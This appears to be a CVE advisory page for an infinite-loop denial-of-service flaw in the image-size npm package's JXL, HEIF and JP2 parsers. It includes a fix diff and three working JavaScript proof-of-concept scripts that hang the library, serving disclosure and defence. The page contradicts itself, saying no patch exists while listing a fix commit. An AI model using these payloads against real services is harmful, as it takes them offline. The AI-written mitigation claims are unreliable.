VYPR
High severity7.5NVD Advisory· Published Jun 9, 2026· Updated Jun 10, 2026

CVE-2025-71319

CVE-2025-71319

Description

The image-size npm package through 2.0.2 has an infinite-loop DoS flaw: a crafted JXL/HEIF image with a zero-length box size permanently blocks the Node.js event loop, requiring process restart.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

The image-size npm package through 2.0.2 has an infinite-loop DoS flaw: a crafted JXL/HEIF image with a zero-length box size permanently blocks the Node.js event loop, requiring process restart.

Vulnerability

image-size through version 2.0.2 [1] contains a denial-of-service vulnerability in its JXL and HEIF image parsers. The bug is in the findBox utility function (lib/types/utils.ts) [2]. When the parser processes a crafted image buffer that contains a box (ISOBMFF structure) with a size field value of zero, the loop fails to advance the internal offset variable. This causes an infinite loop, as the parser repeatedly reads the same zero-sized box without making progress [1][2]. The vulnerable code path is reachable via the detector function, which iterates over all registered type handlers and calls their validate method. The JXL handler, for example, calls findBox after confirming the buffer starts with the signature 'JXL ' at bytes 4–8 [2]. Affected are all versions of image-size up to and including 2.0.2. The package's GitHub repository has since been archived by the maintainer [4].

Exploitation

An attacker needs no authentication or special network position beyond the ability to supply a crafted image buffer to an application that uses the image-size library (for example, as part of a file upload service or an image processing pipeline). The attacker crafts a valid-looking ISOBMFF container (e.g., a JXL or HEIF file) where one of the nested boxes has its 4-byte size field set to 0x00000000. When image-size processes this buffer, the readBox function reads a size of 0, and the subsequent loop in findBox does not increment the offset. Because the termination condition relies on the offset surpassing the input length, the loop iterates forever [1][2]. No user interaction is required beyond the application processing the attacker-supplied buffer. The attacker does not need elevated privileges.

Impact

A successful attack results in a permanent denial of service. The infinite loop consumes 100% of a single CPU core and, because Node.js runs JavaScript on a single thread, blocks the entire event loop. The Node.js process becomes completely unresponsive; it cannot handle any other requests or callbacks. The only recovery method is to kill and restart the process [1][2][3]. This can be exploited remotely without authentication, making it suitable for large-scale resource exhaustion against any service that uses image-size to process user-supplied image data. The CIA impact is limited to availability; no data integrity or confidentiality is compromised.

Mitigation

There is no patched version of image-size as of the publication date (2026-06-09). The maintainer has archived the GitHub repository and stated they do not intend to address the issue on that platform [4]. Users are advised to either fork the repository and apply a fix (e.g., by adding a check for box.size === 0 to break or skip in findBox) or migrate to alternative image dimension detection libraries that do not suffer from this infinite-loop vulnerability. If migration is not immediately possible, a workaround is to pre-validate image buffers externally (e.g., using ffprobe or a dedicated ISOBMFF parser) before passing them to image-size, or to wrap image-size calls in a worker thread with a timeout that terminates hung workers. The vulnerability is not known to be listed in CISA's Known Exploited Vulnerabilities (KEV) catalog as of this writing.

AI Insight generated on Jun 11, 2026. Synthesized from this CVE's description and the cited reference URLs; citations are validated against the source bundle.

Affected products

2

Patches

1
8994131c7c3e

fix potential Denial of Service via specially crafted payloads (#436)

https://github.com/image-size/image-sizeकारतोफ्फेलस्क्रिप्ट™Apr 2, 2025via ghsa
1 file changed · +8 3
  • lib/types/utils.ts+8 3 modified
    @@ -74,12 +74,17 @@ function readBox(input: Uint8Array, offset: number) {
       }
     }
     
    -export function findBox(input: Uint8Array, boxName: string, offset: number) {
    -  let currentOffset = offset
    +export function findBox(
    +  input: Uint8Array,
    +  boxName: string,
    +  currentOffset: number,
    +) {
       while (currentOffset < input.length) {
         const box = readBox(input, currentOffset)
         if (!box) break
         if (box.name === boxName) return box
    -    currentOffset += box.size
    +    // Fix the infinite loop by ensuring offset always increases
    +    // If box.size is 0, advance by at least 8 bytes (the size of the box header)
    +    currentOffset += box.size > 0 ? box.size : 8
       }
     }
    

Vulnerability mechanics

Root cause

"An infinite loop occurs in the `findBox` function when processing images with a box size of 0."

Attack vector

An attacker can trigger a denial of service by providing a specially crafted image file. If the initial bytes of the image do not match known types, the library attempts validation using other handlers, such as JXL, HEIF, or JP2. These handlers may call the `findBox` function, which can enter an infinite loop if it encounters a box with a size of 0, preventing the application from processing further requests [ref_id=1].

Affected code

The vulnerability lies within the `findBox` function in `lib/types/utils.ts`. Specifically, the loop condition and the offset update logic are problematic when `box.size` is zero. This function is called by handlers for image types like JXL, HEIF, and JP2, as seen in `lib/types/jxl.ts` [ref_id=1].

What the fix does

The patch modifies the `findBox` function to prevent an infinite loop when `box.size` is 0. Instead of adding `box.size` to the `currentOffset`, it now adds 8 bytes if `box.size` is 0. This ensures that the offset always increases, allowing the loop to terminate and preventing the denial of service vulnerability [patch_id=5395926].

Preconditions

  • inputA specially crafted image file with a box of size 0.

Reproduction

Usage: ```bash node main.js poc1|poc2 ```

- poc for `image-size@2.0.1` ```js // mkdir 2.0.1 // cd 2.0.1/ // npm i image-size@2.0.1 const {imageSizeFromFile} = require("image-size/fromFile"); const {imageSize} = require("image-size");

const fs = require('fs');

// JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]);

// HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]);

// JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]);

const FILENAME = "./poc.svg"

function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); }

function poc1() { (async () => { await imageSizeFromFile(FILENAME) console.log('Done') // never executed })(); }

function poc2() { imageSize(PAYLOAD) console.log('Done') // never executed }

const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2

async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); }

run(); ```

- poc for `image-size@1.2.0` ```js // mkdir 1.2.0 // cd 1.2.0/ // npm i image-size@1.2.0 const sizeOf = require("image-size"); const fs = require('fs');

// JXL const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x4A, 0x58, 0x4C, 0x20, // "JXL " ]);

// HEIF // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x66, 0x74, 0x79, 0x70, // "ftyp" // 0x61, 0x76, 0x69, 0x66 // "avif" // ]);

// JP2 // const PAYLOAD = new Uint8Array([ // 0x00, 0x00, 0x00, 0x00, // Box with size 0 // 0x6A, 0x50, 0x20, 0x20, // "jP " // ]);

const FILENAME = "./poc.svg"

function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); }

function poc1() { sizeOf(FILENAME) console.log('Done') // never executed }

function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed }

const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2

async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); }

run(); ```

- poc for `image-size@1.1.1` ```js // mkdir 1.1.1 // cd 1.1.1/ // npm i image-size@1.1.1 const sizeOf = require("image-size"); const fs = require('fs');

// HEIF const PAYLOAD = new Uint8Array([ 0x00, 0x00, 0x00, 0x00, // Box with size 0 0x66, 0x74, 0x79, 0x70, // "ftyp" 0x61, 0x76, 0x69, 0x66 // "avif" ]);

const FILENAME = "./poc.svg"

function createPayload() { fs.writeFileSync(FILENAME, PAYLOAD); }

function poc1() { sizeOf(FILENAME) console.log('Done') // never executed }

function poc2() { sizeOf(PAYLOAD) console.log('Done') // never executed }

const pocs = new Map(); pocs.set('poc1', poc1); // node main.js poc1 pocs.set('poc2', poc2); // node main.js poc2

async function run() { createPayload() const args = process.argv.slice(2); const t = args[0]; const poc = pocs.get(t) || poc1; console.log(`Running poc....`) await poc(); }

run(); ```

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

7

News mentions

0

No linked articles in our index yet.